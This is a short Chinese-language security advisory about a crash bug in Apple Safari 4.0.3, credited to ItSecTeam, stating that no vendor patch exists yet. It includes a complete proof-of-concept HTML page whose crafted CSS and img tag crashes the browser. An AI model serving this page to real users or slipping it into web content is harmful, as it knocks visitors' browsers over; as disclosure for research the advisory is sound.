受影响系统:
Apple Safari 4.0.3
描述:
Safari是苹果家族机器操作系统中默认捆绑的WEB浏览器。
用户使用Safari浏览器访问了CSS中设置有特制img标签的恶意网页就会导致浏览器崩溃。
<*来源:ItSecTeam (Bug@ItSecTeam.com)
*>
测试方法:
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
<html dir="rtl">
<body>
<style type="text/css">
.crash {
position:relative;
padding: 4px 6px;
display:inline-block;
}
.crash img {
position:absolute;
}
</style>
<div class="crash">
<P><img></p> you can replace <p> tags with any other tags, but you
shouldnt change <img> tag
</div>
</body>
</html>
建议:
厂商补丁:
Apple
—–
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
0 条评论。